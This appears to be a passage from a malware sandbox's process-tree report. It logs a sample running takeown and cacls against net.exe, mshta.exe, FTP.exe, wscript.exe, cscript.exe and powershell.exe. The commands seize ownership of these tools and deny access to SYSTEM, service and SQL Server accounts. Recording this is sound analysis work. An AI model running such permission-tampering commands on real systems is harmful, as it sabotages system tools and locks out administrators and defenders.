C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g system:r3⤵PID:1756
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2032
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d mssql$sqlexpress3⤵PID:1644
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\net.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1448
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1120
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /g Administrators:f3⤵PID:900
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:308
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /g Users:r3⤵PID:1648
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /g Administrators:r3⤵PID:1860
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1628
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:956
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d SERVICE3⤵PID:1524
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1788
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d mssqlserver3⤵PID:1672
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:812
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d "network service"3⤵PID:996
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:556
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d system3⤵PID:1560
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1452
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d mssql$sqlexpress3⤵PID:1852
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\net.exe /a3⤵
- Modifies file permissions
PID:1124
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1464
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /g Administrators:f3⤵PID:1060
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1200
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /g Users:r3⤵PID:1964
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1612
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /g Administrators:r3⤵PID:1232
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d SERVICE3⤵PID:788
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:904
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d mssqlserver3⤵PID:1688
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:744
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d "network service"3⤵PID:108
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1088
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1760
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d system3⤵PID:1348
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d mssql$sqlexpress3⤵PID:1644
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1696
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\net1.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1448
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1620
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /g Administrators:f3⤵PID:1120
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1640
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /g Users:r3⤵PID:816
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /g Administrators:r3⤵PID:1044
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1648
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d SERVICE3⤵PID:1844
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1800
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1860
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d mssqlserver3⤵PID:1336
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d "network service"3⤵PID:1932
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1728
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2028
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d system3⤵PID:968
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d mssql$sqlexpress3⤵PID:996
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:812
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\net1.exe /a3⤵
- Modifies file permissions
PID:1216
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /g Administrators:f3⤵PID:1656
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:556
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /g Users:r3⤵PID:1056
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1852
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1504
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /g Administrators:r3⤵PID:1204
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:764
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d SERVICE3⤵PID:2016
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1684
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d mssqlserver3⤵PID:1608
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d "network service"3⤵PID:1612
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:608
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:784
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d system3⤵PID:1208
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d mssql$sqlexpress3⤵PID:1784
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:788
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\mshta.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1580
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:940
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /g Administrators:f3⤵PID:1420
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /g Users:r3⤵PID:2032
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1408
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1696
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /g Administrators:r3⤵PID:1752
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1620
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d SERVICE3⤵PID:1120
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:956
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d mssqlserver3⤵PID:1336
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d "network service"3⤵PID:1788
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:548
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2008
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d system3⤵PID:948
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1440
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d mssql$sqlexpress3⤵PID:1848
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\mshta.exe /a3⤵
- Modifies file permissions
PID:1540
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:556
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /g Administrators:f3⤵PID:1656
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1708
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /g Users:r3⤵PID:1056
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1464
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /g Administrators:r3⤵PID:1204
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1584
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d SERVICE3⤵PID:2016
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1604
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d mssqlserver3⤵PID:1608
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1232
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d "network service"3⤵PID:1612
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d system3⤵PID:1208
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:784
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1156
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d mssql$sqlexpress3⤵PID:1784
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\FTP.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1580
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1808
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /g Administrators:f3⤵PID:1616
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1408
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /g Users:r3⤵PID:2032
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1696
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /g Administrators:r3⤵PID:1752
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1640
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d SERVICE3⤵PID:616
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1800
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d mssqlserver3⤵PID:1652
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:900
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d "network service"3⤵PID:1120
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1860
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d system3⤵PID:816
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1980
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d mssql$sqlexpress3⤵PID:1336
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\FTP.exe /a3⤵
- Modifies file permissions
PID:548
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:968
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /g Administrators:f3⤵PID:1672
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:812
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /g Users:r3⤵PID:996
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1216
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /g Administrators:r3⤵PID:1560
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1660
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d SERVICE3⤵PID:1852
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1500
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d mssqlserver3⤵PID:1504
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1060
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d "network service"3⤵PID:764
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1584
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d system3⤵PID:1200
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1604
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d mssql$sqlexpress3⤵PID:1756
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\wscript.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1704
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1612
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /g Administrators:f3⤵PID:784
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1208
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /g Users:r3⤵PID:1156
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1784
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /g Administrators:r3⤵PID:1088
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1808
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d SERVICE3⤵PID:1760
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:108
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d mssqlserver3⤵PID:288
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1456
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d "network service"3⤵PID:680
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1772
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d system3⤵PID:1696
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:576
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d mssql$sqlexpress3⤵PID:824
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\wscript.exe /a3⤵
- Modifies file permissions
PID:1448
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1844
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /g Administrators:f3⤵PID:1652
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /g Users:r3⤵PID:1120
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:900
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:956
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /g Administrators:r3⤵PID:816
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1280
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d SERVICE3⤵PID:1336
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d mssqlserver3⤵PID:1548
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1952
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:812
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d "network service"3⤵PID:1440
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d system3⤵PID:1540
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1216
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1660
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d mssql$sqlexpress3⤵PID:1656
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\cscript.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1500
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1504
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /g Administrators:f3⤵PID:1060
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:764
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /g Users:r3⤵PID:1584
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1200
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /g Administrators:r3⤵PID:1604
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d SERVICE3⤵PID:1232
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1756
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1612
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d mssqlserver3⤵PID:788
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d "network service"3⤵PID:1688
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1476
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1580
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d system3⤵PID:1420
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1808
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d mssql$sqlexpress3⤵PID:1616
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\cscript.exe /a3⤵
- Modifies file permissions
PID:108
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:516
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /g Administrators:f3⤵PID:1516
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1644
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /g Users:r3⤵PID:324
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1792
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /g Administrators:r3⤵PID:1640
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1044
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d SERVICE3⤵PID:1800
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1844
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d mssqlserver3⤵PID:1620
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1860
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d "network service"3⤵PID:1628
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1980
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d system3⤵PID:1524
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d mssql$sqlexpress3⤵PID:2028
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:548
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:948
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1548
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f3⤵PID:812
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1440
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r3⤵PID:556
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1540
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r3⤵PID:1708
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1656
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE3⤵PID:896
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1504
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver3⤵PID:1344
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:764
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"3⤵PID:1964
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1200
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d system3⤵PID:1136
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1756
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress3⤵PID:1704
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /a3⤵
- Modifies file permissions
PID:1612
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:784
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f3⤵PID:1208
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1156
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r3⤵PID:1784
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1088
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r3⤵PID:1692
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1932
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE3⤵PID:552
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1456
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver3⤵PID:1516
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1752
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"3⤵PID:324
-
